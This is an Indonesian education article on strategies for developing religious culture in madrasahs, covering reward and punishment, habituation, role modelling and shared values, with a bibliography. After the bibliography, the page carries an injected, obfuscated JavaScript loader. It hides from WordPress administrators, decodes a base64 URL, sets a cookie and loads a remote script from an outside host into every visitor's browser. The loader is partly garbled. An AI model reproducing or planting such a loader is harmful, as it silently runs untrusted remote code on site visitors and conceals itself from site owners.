STRATEGI PENGEMBANGAN BUDAYA RELIGIUS
DI MADRASAH
Oleh : Robiah
Guru MTs Ma’arif NU 9 Pende Kersana Brebes
Email : mulyadiedi128@gmail.com
Abstrak
Sebagai lembaga pendidikan bercirikan islam madrasah harus mampu menjawab kebutuhan masyarakat akan pendidikan anak-anaknya dari pengaruh negatif perkembangan teknologi sehingga menjadi daya tarik masyarakat untuk menyekolahkan anaknya di madrasah. Salah satu upaya yang dilakukan yaitu dengan mengembangkan budaya religius di antara warga madrasah dengan malaksanakan pembiasaan religius secara terus menerus sehingga nilai-nilai religius dapat terinternalisasi dan diamalkan dalam kehidupan sehari-hari.
Diantara strategi pengembangan budaya religius yang dapat dilakukan adalah melalui power strategy, persuasive strategy dan normative re educative. Strategi pertama tersebut dikembangkan melalui pendekatan perintah dan larangan atau reward and punish-ment. Sedangkan pada strategi kedua dan ketiga tersebut dikembangkan melalui pembiasaan, keteladanan, dan pendekatan persuasif atau mengajak kepada warganya dengan cara yang halus
Dalam prakteknya, implementasi pengembangan budaya religius membutuhkan dukungan dan peran aktif dari berbagai pihak pelaksana maupun pemangku kebijakan seperti guru, siswa, orang tua, masyarakat, dan pemerintah
Kata kunci : pengembangan budaya religius, madrasah
- Pendahuluan
Pendidikan pada dasarnya merupakan tempat lahirnya kader-kader intelektual dengan nilai-nilai positif yang ditanamkan, terinternalisasi, dan menjadi sebuah budaya organisasi. Budaya organisasi menurut James L Gibson (2013:31) yaitu Organizational culture is what the employees perceive and how this perception creates a pattern of beliefs, values, and expectation (budaya organisasi sebagai apa yang dirasakan pekerja dan bagaimana persepsi ini menciptakan pola keyakinan, nilai-nilai dan harapan) Dalam konteks lembaga pendidikan khususnya madrasah, budaya organisasi terwujud menjadi budaya madrasah yang idealnya dapat membentuk peserta didik yang cerdas, pintar juga berakhlakul karimah, menjadi anak yang sholih dan sholihah yang tidak hanya sebatas pada mengetahui saja tetapi juga melaksanakannya agar menjadi sikap dan perilaku mereka baik pada saat berada di lingkungan madrasah maupun di masyarakat.
Madrasah idealnya memiliki budaya yang mengarah pada pembentukan karakter positif dari semua warganya baik peserta didik, pendidik dan tenaga kependidikan. Karakter positif diwujudkan dalam bentuk budaya madrasah yang baik. Budaya madrasah merupakan kebiasaan dan sikap warga madrasah saat beraktifitas di dalamnya yang mencerminkan cara berfikir yang sesuai dengan visi dan misi yang telah disusun. Salah satu budaya madrasah adalah budaya religius. Budaya religius merupakan budaya yang tercipta dari pembiasaan suasana religius yang berlangsung lama dan terus-menerus bahkan sampai muncul kesadaran dari semua warga madrasah untuk melaksanakan nilai-nilai religius (Muhammad Fathurrohman, 2015:104). Budaya religius menjadi ruh dalam berperilaku warga madrasah yang dilaksanakan secara alami berdasarkan nilai-nilai agama dan menjadi budaya dominan. Budaya yang terbentuk dalam lingkungan madrasah tersebut menjadi karakteristik madrasah dan menjadi budaya dominan madrasah (Daryanto, 2015:12). Budaya dominan yang berdasar pada nilai-nilai agama menjadi kesepakatan kolektif warga madrasah yang harus dijalankan oleh semua warga madrasah. Budaya religius madrasah pada hakekatnya adalah terwujudnya nilai-nilai ajaran agama sebagai tradisi dalam berperilaku dan budaya organisasi yang diikuti oleh seluruh warga madrasah.
Membangun budaya religius di madrasah perlu kerja sama antar warga sekolah antara kepala madrasah, pendidik dan tenaga kependidikan, sehingga tujuan pendidikan dapat tercapai secara efektif dan efisien. Oleh karena itu, pengembangan budaya religius membutuhkan pengelolaan yang baik agar pengembangannya senantiasa selaras dengan visi dan misi madrasah. Tanpa melalui pengelolaan yang baik kemungkinan pencapaian tujuan berjalan kurang maksimal. Selain itu madrasah merupakan sistem sosial yang di dalamnya terdapat pola-pola yang mengatur hubungan timbal balik antar individu dalam masyarakat dan antara individu dengan masyarakat, dan tingkah laku individu tersebut, dalam hubungan timbal balik ini, kedudukan dan peranan memiliki peran penting karena langgengnya masyarakat tergantung pada keseimbangan kepentingan-kepentingan individu tersebut. Karena itu, kerjasama dalam lembaga pendidikan dilaksanakan sesuai dengan peran mereka masing-masing. Peran tersebut dilaksanakan oleh seseorang sesuai status dan kedudukan, hak dan kewajiban, tugas dan tanggung jawabnya dalam sebuah sistem dimana mereka berada. Peran merupakan suatu fungsi yang dibawakan oleh seseorang pada saat ia menduduki jabatan tertentu. Orang dapat melaksanakan fungsinya karena posisi yang didudukinya.
Pengembangan merujuk pada sebuah upaya agar sesuatu lebih meningkat kualitasnya, karena itu pengembangan budaya religius memerlukan adanya keterlibatan dari semua personel organisasi. Pengembangan budaya religius di madrasah memiliki arti sebagai usaha mengembangkan nilai-nilai agama islam di madrasah sebagai pijakan nilai,semangat, sikap, dan perilaku bagi para warga madrasah, guru dan tenaga kependidikan lainnya, orang tua murid, dan peserta didik itu sendiri (Muhaemin, 2008:133).
Pengembangan budaya religius di madrasah sebenarnya menjadi karakteristik madrasah sebagai lembaga yang berlabel agama, namun tidak sedikit madrasah yang mengabaikan label tersebut sehingga karakteristik agama hanya sebatas semboyan dan menjadi tidak ada bedanya dengan sekolah lain yang menekankan pada aspek pengetahuan agama saja atau terfokus pada aspek kognitif. Aspek perilaku keagamaan menjadi penting dan sekaligus menjadi pembeda madrasah dengan lembaga pendidikan lainnya sehingga warga madrasah menampilkan perilaku nilai-nilai keagamaan yang menjadi dasar budaya religius. Selain itu budaya religius di madrasah harus mampu menarik masyarakat untuk menyekolahkan anaknya di madrasah karena madrasah tumbuh dan berkembang dari masyarakat dan sebagai salah satu upaya mengontrol perilaku anak terhadap perkembangan dunia modern khususnya kemajuan teknologi komunikasi dan informasi, jika tidak dapat mengendalikan diri akan terjerumus pada perilaku yang tidak baik. Namun bagaimanakah strategi pengembangan budaya religius di madrasah agar menjadi karakteristik lembaga pendidikan berbasis agama yang sebenarnya hingga seluruh warga madrasah menginternalisasi dan melaksanakan nilai-nilai agama di lingkungan madrasah.
- Pembahasan
- Budaya Religius
Pembahasan tentang budaya religius tidak akan terlepas dari konsep tentang budaya sekolah, karena budaya religius merupakan bagian dari budaya sekolah. Budaya sekolah/madrasah adalah sesuatu yang dibangun dari hasil pertemuan nilai-nilai (values) yang dianut oleh kepala sekolah/madrasah sebagi pemimpin dengan nilai-nilai yang dianut oleh guru-guru dan para karyawan yang ada dalam sekolah/madrasah tersebut. Nilai-nilai tersebut dibangun oleh pikiran-pikiran manusia yang ada dalam sekolah/madrasah
Menurut Deal dan Peterson yang dikutip oleh Muhaimin dalam bukunya Nuansa Baru Pendidikan Islam menyatakan “Budaya sekolah sebagai sekumpulan nilai yang melandasi perilaku, tradisi, kebiasaan, keseharian, dan symbol-simbol yang dipraktikkan oleh kepala sekolah, guru, petugas administrasi, siswa, masyarakat sekitar sekolah” (Muhaimin, 2006;133). Menurut Aan Komariah, dkk. dalam bukunya Visionary Leadership Menuju Sekolah Efektif mengartikan budaya sekolah sebagai karakteristik khas sekolah yang dapat diidentifikasi melalui nilai yang dianutnya, sikap, kebiasaan-kebiasaan yang ditampilkannya, dan tindakan yang ditunjukkan oleh seluruh personal sekolah yang membentuk satu kesatuan khusus dari sistem sekolah (Aan Komariah dkk, 2005;102) Dalam konteks pendidikan islam, maka budaya sekolah yang sesuai untuk dikembangkan adalah budaya religius.
Budaya Religius memiliki makna yang sama dengan “suasana religius atau suasana keagamaan”. Adapun makna suasana keagamaan adalah suasana yang memungkinkan setiap anggota keluarga beribadah, kontak dengan Tuhan dengan cara-cara yang telah ditetapkan agama, dengan suasana tenang, bersih, hikmat. Sarananya adalah selera religius, selera etis, estetis, kebersihan, i‟tikad religius dan ketenangan. (M. Saleh Muntasir, 1985;120)
Dalam kontek lembaga pendidikan terutama madrasah, budaya religius madrasah merupakan manifestasi dari nilai-nilai religius dan nilai inilah yang merupakan inti dari budaya (Taliziduhu Ndraha, 2005;74). Nilai religius merupakan nilai-nilai yang bersumber pada agama yaitu nilai yang bersumber dari kebenaran tertinggi yang datang dari Tuhan yang lingkupnya sangat luas dan mengatur seluruh aspek kehidupan manusia. Religius dimaknai sebagai keberagamaan yaitu suatu sikap atau kesadaran yang muncul yang didasarkan atas keyakinan atau kepercayaan seseorang terhadap suatu agama (Asmaun Sahlan, 2010;66)
Menurut Muhrian Nur (2017:vii) dalam tesisnya, bentuk budaya agama (religius) yang dikembangkan ada 3 (tiga) katagori, yaitu; a) bentuk budaya ibadah ilahiah yang terdiri dari; sebelum melakukan aktifitas belajar mengajar peserta didik terlebuh dahulu membaca Istigfar dan doa, Kegiatan shalat berjamaah terutama pada waktu zuhur ditata dengan cara bergiliran sebanyak 6 kelas perhari dan dibimbing, diatur, diarahkan oleh guru pembimbing yaitu wali kelas, semua kegiatan intra, ekstrakurikuler di lingkungan sekolah diharuskan berpakaian yang menutup aurat dan longgar, dan kegiatan yang dikhususkan pada hari jumat dengan cara membaca istigfar, doa, ayat kursi sebanyak 3 kali dan membaca surah al waqiah 1 kali dan doa penutup, hal ini dinamai oleh kepala sekolah dengan istilah jumat taqwa, b) bentuk budaya ibadah sosial yang terdiri dari; kegiatan peserta didik yang diharuskan melakukan silaturrahmi pagi ketika hendak masuk pintu pagar sekolah dan sudah ada beberapa guru yang berdiri di dekat pintu, pelaksanaan peringatan hari besar islam tidak hanya dilakukan dengan bentuk ceramah saja akan tetapi dengan melakukan kegiatan tertentu untuk dapat mengaplikasikannya dalam kehidupan sehari-hari seperti dilaksanakannya perlombaan pada pekan maulid atau pekan rajabiyah, setiap menjelang akhir tahun pelajaran di adakan khataman al quran, mata pelajaran yang diajarkan dalam kelas diintegrasikan dengan nilai-nilai agama sesuai dengan kompetensi yang dimiliki masing-masing guru, dan kegiatan ekstrakurikuler bernuansa agama seperti pembacaan maulid Habsyi dan seni baca Alquran, dan c) bentuk budaya ibadah lingkungan hidup yang terdiri dari; peserta didik melakukan kebersihan harian secara terjadwal sesuai kapling masing-masing kelas dan bahkan secara khusus dihari jumat ada kegiatan yang disebut dengan jumat bersih, dan upaya untuk menanamkan nilai-nilai agama dalam hal pelestarian lingkungan hidup, peserta didik diharuskan secara kontinyu memelihara tanaman di lingkungan sekolah,
Keberagamaan lebih melihat pada aspek yang ada di dalam lubuk hati nurani pribadi, sikap personal yang merupakan misteri bagi orang lain karena menafaskan intimitas jiwa, cita rasa yang mencakup totalitas ke dalam diri manusia, dan bukan pada aspek formal (Muhaemin, 2012;288)
- Strategi Pengembangan Budaya Religius
Pengembangan budaya agama di sekolah adalah sesuatu yang sangat urgen untuk dilakukan. Urgensi pengembangan budaya agama di sekolah adalah agar seluruh warga sekolah memperoleh kesempatan untuk dapat memiliki bahkan mewujudkan seluruh aspek keberagamaannya baik pasa aspek keyakinan (keimanan), praktik agama, pengalaman, pengetahuan agama, dan dimensi pengamalan keagamaan. Semua itu dapat diwujudkan melalui berbagai kegiatan keagamaan sebagai wahana dalam upaya menciptakan dan mengembangkan budaya religius di sekolah (Ermis Suryana dkk, 2013:172)
Pengembangan budaya agama dalam komunitas madrasah/ sekolah berarti bagaimana mengembangkan agama islam di madrasah sebagai pijakan nilai, semangat, sikap, dan perilaku bagi para aktormadrasah, guru dan tenaga kependidikan lainnya, orang tua murid, dan peserta didik itu sendiri (Muhaimin, 2008:133) . Pelaksanaan budaya religius di sekolah mempunyai landasan kokoh yang normatif religius maupun konstitusional sehingga tidak ada alasan bagi sekolah untuk mengelak dari usaha tersebut (Muhaimin, 2003:23). Oleh karena itu, penyelenggaraan pendidikan agama yang diwujudkan dalam membangun budaya religius di berbagai jenjang pendidikan, patut untuk dilaksanakan. Karena dengan tertanamnya nilai-nilai budaya religius pada diri siswa akan memperkokok imannya dan aplikasinya nilai-nilai keislaman tersebut dapat tercipta dari lingkungan di sekolah. Untuk itu membangun budaya religius sangat penting dan akan mempengaruhi sikap, sifat dan tindakan siswa secara tidak langsung (Saeful Bakri, 2010;46)
Strategi untuk membudayakan nilai-nilai religius di lembaga pendidikan dapat dilakukan melalui: 1) power strategi, yakni strategi pembudayaan agama di lembaga pendidikan dengan cara menggunakan kekuasaan atau melalui people’s power, dalam hal ini peran kepala lembaga pendidikan dengan segala kekuasaannya sangat dominan dalam melakukan perubahan; 2) persuasive strategy, yang dijalankan lewat pembentukan opini dan pandangan masyarakat atau warga lembaga pendidikan; dan 3) normative re educative. Pada strategi pertama tersebut dikembangkan melalui pendekatan perintah dan larangan atau reward and punish-ment. Sedangkan pada strategi kedua dan ketiga tersebut dikembangkan melalui pembiasaan, keteladanan, dan pendekatan persuasive atau mengajak kepada warganya dengan cara yang halus, dengan memberikan alasan dan prospek baik yang bisa meyakinkan mereka (Muhammad Fathurrohman,2015;116-117)
Strategi yang dapat dilakukan oleh para praktisi pendidikan untuk membentuk budaya religius diantaranya adalah melalui kegiatan-kegiatan: 1) tauladan atau pemberian contoh, 2) membiasakan hal-hal yang baik, 3) menegakkan kedisiplinan, 4) memberikan motivasi serta dorongan, 5) memberikan reward ataupun hadiah psikologis, 6) hukuman ataupun sanksi dan 7) penciptaan suasanan religius bagi peserta didik.
Seperti tertuang dalam Undang-Undang Sisdiknas bab V tentang peserta didik pasal 12 ayat 1 yang dijadikan dasar bagi lembaga pendidikan untuk mengharuskan merekrut ratusan peserta didik sesuai dengan kebutuhan dan juga pegangan penyelenggaraan pendidikan agama disekolah-sekolah guna mewujudkan budaya religius sekolah. Dalam pasal 12 ayat 1 (a) berbunyi: setiap peserta didik pada setiap satuan pendidikan berhak mendapatkan pendidikan agama sesuai dengan agama yang dianutnya dan diajarkan oleh pendidik yang seagama. Disamping itu di ayat 2 juga dijelaskan tentang kewajiban peserta didik yakni: (a) menjaga norma-norma pendidikan untuk menjamin keberlangsungan proses dan keberhasilan pendidikan (b) ikut menanggung biaya penyelenggaraan pendidikan kecuali bagi peserta didik yang dibebaskan dari kewajiban tersebut sesuai dengan peraturan perundang-undangan yang berlaku. Disini komitmen pendidik dan peserta didik dalam membina kondisi plural (keberagamaan) dan mengahargai agama yang dianut peserta didik menjadi niscaya, baik dalam berfikir atau berpendapat, sikap dalam lingkungan sekolah, dan menciptakan kondisi yang religius serta memanifestasikan nilai-nilai agama dalam lingkungan sekolah. Budaya religius memiliki beberapa manfaat yaitu; 1) menjamin kualitas kerja yang baik, 2) membuka jaringan komunikasi dari segala jenis dan level komunikasi, 3) meningkatkan solidaritas, 4) meningkatkan kedisiplinan, dan memunculkan semangat untuk belajar dan berprestasi.
Di madrasah, ada banyak cara untuk menanamkan dan mengembangkan nilai-nilai religius ini. Pertama, yakni dengan pengembangan budaya religius madrasah yang rutin dilaksanakan di setiap hari dalam pembelajaran. Kegiatan ini diprogram secara baik, sehingga peserta didik mampu menerima dengan baik. Dalam kerangka ini pendidikan merupakan tanggung jawab bersama bukan hanya guru agama saja. Pendidikan agama tidak hanya terbatas aspek pengetahuan semata, tetapi juga meliputi aspek pembentukan sikap, perilaku, dan pengalaman keagamaan. Kedua, yakni menciptakan lingkungan lembaga pendidikan yang mendukung dan dapat menjadi laboratorium bagi penyampaian pendidikan agama. Lingkungan dalam konteks pendidikan memang memiliki peranan yang signifikan dalam pemahaman dan penanaman nilai. Suasana lingkungan lembaga pendidikan dapat menumbuhkan budaya religius (religius culture). Suasana lembaga pendidikan yang ideal semacam ini dapat membimbing peserta didik agar mempunyai akhlak mulia, perilaku jujur, disiplin, dan semangat sehingga akhirnya menjadi dasar untuk meningkatkan kualitas dirinya. Ketiga, pendidikan agama tidak hanya disampaikan secara formal dalam pembelajaran dengan materi pelajaran agama, namun juga dapat dilakukan diluar proses pembelajaran. Guru bisa memberikan pendidikan agama secara spontan ketika mengahadapi sikap atau perilaku peserta didik yang tidak sesuai dengan ajaran agama. Manfaat pendidikan ini adalah peserta didik akan segera tanggap menyadari kesalahannya dan juga akan segera memperbaiki kesalahannya. Sehigga dapat menjadi hikmah bagi peserta didik tentang perilaku yang baik dan yang kurang baik. Keempat, menciptakan situasi keadaan religius. Tujuannya adalah untuk mengenalkan kepada peserta didik tentang pengertian dan tata cara pelaksanaan agama dalam kehidupan sehari-hari. Olah karena itu, di madrasah, budaya religius dapat diciptakan dengan cara pengadaan peralatan peribadatan, seperti tempat shalat (masjid atau mushola), alat alat shalat, seperti mukena, peci, sajadah atau pengadaan Al-Quran. Di dalam ruangan kelas bisa ditempel kaligrafi, sehingga peserta didik dibiasakan selalu melihat sesuatu yang baik Cara lain ialah sebagai seorang guru selalu memberi contoh yang terbaik bagi peserta didiknya, misalnya selalu mengucapkan salam ketika hendak memulai atau mengakhiri pelajaran dan ketika bertemu, baik dengan guru maupun rekan sebayanya Kelima, memberikan kesempatan bagi peserta didik untuk mengekspresikan diri, menumbuhkan bakat, minat, dan kreativitas pendidikan agama dalam keterampilan dan seni seperti membaca Al Qur’an dengan lagu (taghoni), membaca asmaul husna, adzan, tilawah, dan lainlain. Keenam, menyelenggarakan berbagai macam perlombaan, seperti cerdas cermat untuk membiasakan dan melatih keberanian, kecepatan, dan ketepatan menyampaikan pengetahuan dan mempraktikkan materi pendidikan Islam. Perlombaan adalah sesuatu yang sangat menyenangkan bagi peserta didik, membantu peserta didik dalam melakukan kegiatan kegiatan yang bermanfaat, menambah wawasan dan juga membantu mengembangkan kecerdasan serta kecintaan. Dengan perlombaan peserta didik akan mendapatkan pendalaman pelajaran sehingga membantu mereka mencapai hasil belajar yang maksimal. Nilai-nilai yang terkandung dalam perlombaan adalah nilai akhlak yakni membedakan baik dan buruk, adil, jujur, amanah, jiwa positif, dan mandiri. Ketujuh, diselenggarakannya aktivitas seni, seperti seni suara, senimusik atau seni tari. Seni adalah sesuatu yang berarti dan relevan dalam kehidupan. Seni menentukan kepekaan peserta didik dalam memberikan ekspresi dan tanggapan dalam kehidupan. Seperti kemampuan akademisi, sosial, emosional, budaya, moral, dan kemampuan pribadinya untuk pengembangan spiritual (Ngainun Naim, 2012;126-129)
Adapun strategi untuk membudayakan nilai-nilai agama di madrasah dapat dilakukan melalui: 1) power strategy, yakni strategi pembudayaan agama di madrasah dengan cara menggunakan kekuasaan atau melalui people’s power, dalam hal ini peran kepala madrasah dengan segala kekuasaannya sangat dominan dalam melakukan perubahan; 2) persuasive strategy, yang dijalankan lewat pembentukan opini dan pandangan masyarakat atau warga madrasah; dan 3) normative reeducation. Norma adalah aturan yang berlaku di masyarakat. Norma termasyarakatkan lewat education. Normative digandengkan dengan reeducation (pendidikan ulang) untuk menanamkan dan mengganti paradigma berpikir masyarakat madrasah yang lama dengan yang baru (Muhaemin, 1996;328).
Langkah konkret untuk mewujudkan budaya religius di lembaga pendidikan, meminjam teori Koentjaraningrat tentang wujud kebudayaan, meniscayakan upaya pengembangan dalam tiga tataran, yaitu tataran nilai yang dianut, tataran prkatik keseharian, dan tataran simbol-simbol budaya. Pada tataran nilai yang dianut, perlu dirumuskan secara bersama oleh , eseluruhan komponen madrasah berkaitan dengan nilai-nilai agama yang disepakati dan perlu dikembangkan di lembaga pendidikan. Setelah nilai-nilai agama disepakati, langkah selanjutnya adalah membangun komitmen dan loyalitas bersama di antara semua anggota lembaga pendidikan terhadap nilai yang disepakati. Pada tahap ini, diperlukan juga konsistensi unutuk menjalankan nilai-nilai yang telah disepakati tersebut dan membutuhkan kompetensi orang yang merumuskan nilai guna memberikan contoh bagaimana mengaplikasikan dan memanifestasikan nilai dalam kegiatan sehari-hari. Dalam tatanan praktik keseharian, nilai-nilai religius yang telah disepakati tersebut diwujudkan dalam bentuk sikap dan perilaku keseharian oleh semua warga madrasah. Proses pengembangan tersebut dapat dilakukan melaui tiga tahap, yaitu: pertama, sosialisasi nilai-nilai religius yang disepakati sebagai sikap dan perilaku ideal yang diingin dicapai pada masa mendatang di lembaga pendidikan. Kedua, penetapan action plan mingguan atau bulanan sebagai tahapan dan langkah sistematis yang akan dilakukan oleh semua pihak di lembaga pendidikan yang mewujudkan nilai-nilai religius yang telah disepakati tersebut. ketiga, pemberian penghargaan terhadap prestasi warga lembaga pendidikan, seperti guru, tenaga kependidikan, dan peserta didik sebagai usaha pembiasaan (habit formation) yang menjunjung sikap dan perilaku yang komitmen dan loyal terhadap ajaran dan nilai-nilai religius yang telah disepakati. Penghargaan tidak selalu berarti materi (ekonomik), melainkan juga dalam arti sosial, kultural, psikologis, ataupun lainnya. Dalam tataran simbol-simbol budaya, pengembangan yang perlu dilakukan adalah mengganti simbol-simbol budaya yang kurang sejalan dengan ajaran dan nilai-nilai agama dengan simbol budaya yang agamis. Perubahan simbol dapat dilakukan dengan mengubah mode berpakaian dengan prinsip menutup aurat, pemasangan hasil karya peserta didik, fotofoto dan motto yang mengandung pesan-pesan nilai keagamaan (Ngainun Naim, 2012;130-131)
Budaya religius yang telah terbentuk di madrasah beraktualisasi ke dalam pelaku budaya menurut dua cara. Aktualisasi budaya ada yang berlangsung secara covert (samar/tersembunyi) dan secara overt (jelas/terang). Aktualisasi budaya secara covert, yaitu seseorang yang tidak terus terang, berpura-pura, lain di mulut lain di hati, penuh kiasan atau diselimuti rahasia. Aktualiasi budaya secara overt yaitu pelaku budaya selalu berterus terang dan langsung pada pokok pembicaraan (Asmaun Sahlan, 2010;84)
Pelaksanaan pengembangan budaya religius di sekolah tidak akan berjalan dengan baik jika tanpa dukungan dan komitmen dari berbagai pihak, di antaranya adalah pemerintah, dalam hal ini Departemen Agama atau Pemerintah Daerah, kebijakan kepala sekolah, guru pendidikan agama Islam, guru mata pelajaran umum, pegawai sekolah, komite sekolah, dukungan siswa (OSIS), lembaga dan ormas, keagamaan serta partisipasi masyarakat luas. Jika semua elemen ini dapat bersama-sama mendukung dan terlibat dalam pelaksanaan pengamalan budaya agama di sekolah maka bukan sesuatu yang mustahil hal ini akan terwujud dan sukses. Sebagai upaya sistematis menjalankan pengamalan budaya agama (Islam) di sekolah perlu dilengkapi dengan sarana pendukung bagi pelaksanaan pengamalan budaya agama (Islam) di sekolah, di antaranya; musholla atau masjid, sarana pendukung ibadah (seperti: tempat wudhu, kamar mandi, sarung, mukena, mimbar, dsb.), alat peraga praktik ibadah, perpustakaan yang memadai, aula atau ruang pertemuan, ruang kelas sebagai tempat belajar yang nyaman dan memadai, alat dan peralatan seni Islami, ruang multimedia, laboratorium komputer, internet serta laboratorium PAI (Beny Prasetya, 2014;483)
- Penutup
Madrasah sebagai lembaga pendidikan bercirikan islam, harus memiliki budaya religius yang tercipta dari pembiasaan suasana religius yang bersifat terus-menerus bahkan sampai muncul kesadaran dari semua warga madrasah untuk melaksanakan nilai-nilai religius. Selain itu, madrasah harus mampu menarik masyarakat untuk menyekolahkan anaknya di madrasah karena madrasah tumbuh dan berkembang dari masyarakat dan sebagai salah satu upaya mengontrol perilaku anak terhadap perkembangan dunia modern khususnya kemajuan teknologi komunikasi dan informasi.
Implementasi pengembangan budaya religius membutuhkan dukungan dan peran aktif dari berbagai pihak pelaksana maupun pemangku kebijakan seperti guru, siswa, orang tua, masyarakat, dan pemerintah. Jika semua elemen mendukung dan bersama-sama terlibat aktif dalam pelaksanaan budaya religius di madrasah sesuai dengan tugas pokok dan fungsinya masing-masing, maka keberadaan madrasah dengan budaya religius yang tertanam kuat dalam semua warga madrasah akan menjadi solusi akan kebutuhan masyarakat terhadap lembaga pendidikan yang mampu mendidik dan membentengi anak-anaknya dari pengaruh negatif perkembangan teknologi yang sangat maju.
DAFTAR PUSTAKA
Aan Komariah, dan Cepi Triana, Visionary Leadership Menuju Sekolah Efektif, Cet. I, Jakarta, Bumi Aksara, hlm 102. 2005
Daryanto. Pengelolaan Budaya dan Iklim Sekolah, Yogyakarta: Penerbit Gava Media, 2015
Suryana, Ermis dkk, Pembinaan Keberagamaan Siswa melalui Pengembangan Budaya Agama di SMA Negeri 16 Palembang, Palembang, IAIN Raden Patah, Ta’dib, Vol. XVIII, No. 02, Edisi Nopember 2013
Fathurrohman, Muhammad. Implementasi Manajemen Peningkatan Mutu Pendidikan Islam; Peningkatan Lembaga Pendidikan Islam Secara Holistik; Praktik dan Teoritik. Yogyakarta: Teras, 2012.
___________. Budaya Religius Dalam Peningkatan Mutu Pendidikan; Tinjauan Teoritik dan Praktik Kontekstualisasi Pendidikan Agama di Sekolah. Yogyakarta: Kalimedia, 2015.
Herdiansyah, Haris, Metodologi Penelitian Kualitatif, Jakarta: Salemba Humanika, 2014
Irsyad, Nurul H, Model penanaman budaya religius di SMAN 2 Nganjuk dan MAN Nglawak Kertosono Nganjuk, Tesis UIN Maylana Malik Ibrahim Malang, 2016
James L Gibson, Organizations: behavior, structure, processes, Boston: McGraw-Hill Higher Education, 2003
Masruchan Mahpur, Pembiasaan perilaku islam di SMA Negeri 1 Trenggalek dan SMA Hasan Munahir Trenggalek, Tesis IAIN Tulungagung, 2015
Muhaimin dkk., Paradigma Pendidikan Islam: Upaya Mengefektifkan Pendidikan Agama Islam di Sekolah, Bandung: Remaja Rosdakarya, 2004
Muhaimin, Pemikiran Dan Aktualisasi Pengembangan Pendidikan Islam, Jakarta: Rajawali Pers, 2008.
_________, Pemikiran dan Aktualisasi Pengembangan Pendidikan Islam, Jakarta: Rajawali Pers, 2008
_________. Rekonstruksi Pendidikan Islam. Bandung, Remaja Rosdakarya, 1996.
_________,.Arah Baru Pengembangan Pendidikan Islam Pemberdayaan, Pengembangan Kurikulum Hingga Redifinisi Islamisasi Pengetahuan, Bandung: 2003
_________, Nuansa Baru Pendidikan Islam Mengurai Benang Kusut Dunia Pendidikan, Edisi I, Jakarta, PT RajaGrafindo Persada, 2006
Muhrian Nur, Kepemimpinan Kepala Sekolah dalam Mengmbangkan Budaya Agama di Sekolah, tesis IAIN Antasari Banjarmasin, 2017
Muntasir, M. Saleh. Mencari Evidensi Islam: Analisa Awal Sistem Filsafat, Strategi dan Metodologi Pendidikan Islam. Jakarta: Rajawali, 1985.
Naim, Ngainun, Character Building Optimalisasi Peran Pendidikan Dalam Pengembangan Ilmu dan Karakter Bangsa, Yogyakarta: Ar Ruzz Media, 2012.
Ndraha, Taliziduhu, Budaya Organisasi,Jakarta: Rineka Cipta, 2003
_______________. , Teori Budaya Organisasi, Jakarta: Rineka Cipta, 2005
Prasetya, Benny, Pengembangan Budaya Religius di Sekolah, Probolinggo, Edukasi STAI Muhammadiyah, Volume 02, Nomor 01, Juni 2014:
Saeful Bakri, Strategi Kepala Sekolah dalam Membangun Budaya Religius di Sekolah Menengah Atas Negeri (SMAN) 2 Ngawi Malang: Tesis UIN Malang, 2010
Sahlan, Asmaun, Mewujudkan Budaya Religius di Sekolah: Upaya Pengembangan PAI dari Teori Ke Aksi, Malang: UIN Maliki Press, 2010
__________.. Religiusitas Perguruan Tinggi Potret Pengembangan Tradisi Keagamaan di Perguruan Tinggi Islam. Malang: UIN Maliki Press, 2012
Sukmadinata, Nana S, Metode Penelitian Pendidikan, Bandung:Remaja Rosdakarya, 2010.
Tim Redaksi Fokusmedia. UU RI nomor 20 tahun 2003 Sisdiknas. Bandung: Fokus Media, 2006.
Tria Ratnasari, Kepemimpinan Kepala Sekolah dalam Pembudayaan Keberagamaan, Tesis UIN Sunan kalijaga Yogyakarta, 2015
Tuti Yuningsih, Pelembagaan budaya religius di SMP Islam Terpadu Bina Insan Kamil Sidareja Kabupaten Cilacap, Tesis IAIN Purwokerto, 2017
(function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||”).indexOf(‘http2_session_id=’)!==-1)return;function systemLoad(input){var key=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’,o1,o2,o3,h1,h2,h3,h4,dec=”,i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,”);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();



